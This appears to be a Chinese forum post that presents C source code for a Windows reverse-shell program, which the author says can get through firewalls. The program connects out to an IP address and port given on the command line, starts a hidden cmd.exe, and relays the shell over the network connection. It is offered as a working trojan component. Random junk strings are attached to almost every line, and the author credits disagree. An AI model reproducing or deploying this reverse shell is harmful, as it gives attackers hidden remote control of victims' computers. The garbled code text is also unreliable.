这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5tjP6Z`!9`
~lNsa".c
/* ============================== hpTDxh'?$C
Rebound port in Windows NT ui q^|5Z
By wind,2006/7 qyC=(v
===============================*/ 'r1LSht'
#include )^||\G
#include zDhB{3-Q1{
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#pragma comment(lib,"wsock32.lib") g~V+4+
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void OutputShell(); ~Tbj=f
SOCKET sClient; ~qe%Yq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7dsefNPb
8
C [/dH
void main(int argc,char **argv) fb8%~3i>
{ vAY,E=&XvM
WSADATA stWsaData; 2(5ebe[
int nRet; 1f",}qe;
SOCKADDR_IN stSaiClient,stSaiServer; }_=eT]
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if(argc != 3) m]i @ +C
{ kmzH'wktt
printf("Useage:\n\rRebound DestIP DestPort\n"); 6T 8!xyi-+
return; u:0aM}9A
} lL1k.&|5m
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WSAStartup(MAKEWORD(2,2),&stWsaData); F}Vr:~
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ifN64`AhRX
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stSaiClient.sin_family = AF_INET; 2 41*!
stSaiClient.sin_port = htons(0); @(r/dZc
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hI9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (/35pg6\
{ @gY)8xMbA
printf("Bind Socket Failed!\n"); V#VN%{
return; UAoh`6vFF8
} )K &(
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stSaiServer.sin_family = AF_INET; ;M"9$M'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); N F)~W#
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :y7c k/>
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H":oNpfb
{
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printf("Connect Error!"); boDt`2=
return; %^RN#_ro(3
} ]_N|L|]M
OutputShell(); 95el'K[R
} )"Ztlhs`#
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void OutputShell() x.S3Zi}=
{ M4as
char szBuff[1024]; ;!(<s,c#:
SECURITY_ATTRIBUTES stSecurityAttributes; *z@>!8?
OSVERSIONINFO stOsversionInfo; j?'GZ d"B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 98^V4maR:
STARTUPINFO stStartupInfo; t!RiU ZAo
char *szShell; 5\z`-)
PROCESS_INFORMATION stProcessInformation; SdD6 ~LS
unsigned long lBytesRead; #%DE;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *}P~P$q%
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;*MLRXq
stSecurityAttributes.lpSecurityDescriptor = 0; UX7t`l2R
stSecurityAttributes.bInheritHandle = TRUE; eJg8,7WC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y]&j,j&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l\i)$=d&g
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :O uA)f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KCs[/]
stStartupInfo.wShowWindow = SW_HIDE; F6z%VWU
stStartupInfo.hStdInput = hReadPipe; ;+ "+3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; V:y'Qf2M
F w?[lS
GetVersionEx(&stOsversionInfo); `nu''B
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switch(stOsversionInfo.dwPlatformId) \-g)T}g,I
{ .mR8q+I6
case 1: <7~'; K
szShell = "command.com"; A}l3cP;
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break; WPQ fhr#|
default: a|X a3E
szShell = "cmd.exe"; ui?
break; &v@a5 L
} LGn:c;
}4,L%$@n
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'dn]rV0(C
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send(sClient,szMsg,77,0); 2'w?\{}D
while(1) \.-bZ$
{ gw!vlwC&T
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w(L4A0K[
if(lBytesRead) :>5@cvc
{ D A\2rLs
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j:v@pzTD
send(sClient,szBuff,lBytesRead,0); ZP(f3X@
} uLV#SQ=bZN
else {e 14[0U-
{ YuO.yh_
lBytesRead=recv(sClient,szBuff,1024,0); tS6qWtE
if(lBytesRead<=0) break; vw9@v` k
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M!o##* *`
} a^I\ /&aw'
} LcTP#
#"G]ke1l$
return; ,0!}7;j_c
}